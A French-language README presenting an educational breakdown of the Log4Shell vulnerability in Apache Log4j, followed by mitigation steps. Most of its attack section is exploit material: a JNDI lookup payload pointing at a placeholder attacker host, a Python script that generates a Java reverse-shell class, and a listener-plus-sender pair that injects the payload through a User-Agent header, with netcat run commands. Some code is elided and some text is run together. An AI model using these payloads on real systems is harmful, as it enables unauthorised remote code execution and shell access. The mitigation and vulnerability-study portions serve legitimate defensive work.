
Analyse éducative de CVE-2021-44228 (Log4Shell) avec scripts PoC, décomposition du vecteur d'attaque et conseils d'atténuation pour comprendre et tester la vulnérabilité critique d'exécution de code à distance (RCE) dans Apache Log4j.
Impact Critique (CVSS 10.0) | Découverte en 2021, cette faille dans Apache Log4j permet l'exécution de code à distance (RCE) et affecte des millions de systèmes mondiaux. Encore aujourd'hui, c'est un rappel clé pour la cybersécurité !
CVE-2021-44228, connue sous le nom de Log4Shell, est une vulnérabilité critique d'Exécution de Code à Distance (RCE) dans la bibliothèque de journalisation Apache Log4j 2. Cette faille permet à des attaquants malveillants d'exécuter du code arbitraire sur des serveurs vulnérables simplement en envoyant une chaîne de texte spécialement conçue que l'application enregistre.
Log4Shell n'est pas seule ; elle a donné lieu à CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) et CVE-2021-4104 (RCE dans Log4j 1.2).
Le cœur du problème est la gestion non sécurisée de JNDI (Java Naming and Directory Interface) dans Log4j, qui résout des recherches distantes sans assainissement.
${jndi:ldap://atacante.com:1389/Exploit}
Comment cela fonctionne :
${...} et active une recherche JNDI.Protocoles exploitables : LDAP, RMI, DNS, IIOP, etc. Cela permet des menaces telles que :
Chaîne d'Infection (Kill Chain) :
Statistiques d'Impact :
90% des environnements cloud exposés initialement.
⚠️ Avertissement : Ce contenu est exclusivement à des fins éducatives et pour des tests autorisés. N'utilisez pas cela sur des systèmes sans autorisation explicite. Exploiter des vulnérabilités sans autorisation est illégal (par exemple, viole des lois comme le CFAA aux États-Unis). Effectuez toujours un pentesting éthique.
Basé sur des dépôts publics comme kozmer/log4j-shell-poc, voici un aperçu simplifié d'un PoC dans des environnements contrôlés (ex. : Docker/VM local).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (code de shell inversé simplifié)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Classe Exploit générée avec succès')
except Exception as e:
print(Fore.RED + f'[-] Erreur : {e}')
# ... (fonctions pour serveur LDAP et serveur web similaires à l'original)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] PoC Éducative pour CVE-2021-44228 - Utilisez-la uniquement dans des labs !")
# Arguments : --userip localhost --webport 8000 --lport 9001
# Lance LDAP, serveur web et génère le payload
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 - Surveillez le shell inversé.${jndi:ldap://127.0.0.1:1389/a} dans un champ de connexion/recherche.PoC Simple en Python (Listener + Exploit) : Pour des démos rapides, utilisez ce duo de scripts (exécutez le listener d'abord).
listener.py :
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Listener sur {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Connexion de {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()
if __name__ == "__main__":
threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
input("Appuyez sur Entrée pour arrêter...\n") # Maintient en vie
exploit.py :
import requests
import argparse
def send_exploit(target, lhost, lport):
payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
headers = {'User-Agent': payload}
try:
r = requests.get(target, headers=headers, timeout=10)
print(f"[+] Envoyé vers {target} | Statut : {r.status_code}")
except Exception as e:
print(f"[!] Erreur : {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True)
parser.add_argument("-l", "--lhost", required=True)
parser.add_argument("-p", "--lport", type=int, default=1389)
args = parser.parse_args()
send_exploit(args.target, args.lhost, args.lport)
Exécution : python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"
Remarques : Nécessite Marshalsec pour LDAP simulé. Testez uniquement dans des labs isolés.
Agissez dès maintenant ! Log4Shell peut être évité avec des mises à jour et des configurations.
mvn dependency:tree ou Snyk.-Dlog4j2.formatMsgNoLookups=trueLOG4J_FORMAT_MSG_NO_LOOKUPS=truelog4j2.xml, ajoutez <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi:*} (ex. : règles dans ModSecurity ou Cloudflare).Pour les CVE dérivées :
Ce README.md est à des fins éducatives et de sensibilisation à la cybersécurité. Il ne promeut pas d'activités illégales. Si vous êtes un professionnel de la sécurité, évaluez votre environnement avec des outils comme OWASP Dependency-Check. Gardez vos systèmes à jour pour un monde plus sûr ! 🔒
Dernière mise à jour : Basé sur des données jusqu'en 2023. Vérifiez les sources officielles pour les nouveautés.
| Caractéristique | Détail |
|---|
| Score CVSS v3.1 | 10.0 (CRITIQUE) 🔥 - Gravité maximale possible. |
| Versions Affectées | Log4j 2.0-beta9 à 2.14.1 (inclut les dérivées jusqu'à 2.16.0 pour les sous-CVEs). |
| Cause Racine | Substitution de messages JNDI sans validation ; recherches distantes activées. |
| Vecteurs | À distance, non authentifié ; affecte Java 8+ dans les apps web/cloud. |
| Produits Impactés | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, et plus. |
| Exploitation | Facile : PoCs publics sur GitHub ; ne nécessite pas de privilèges. |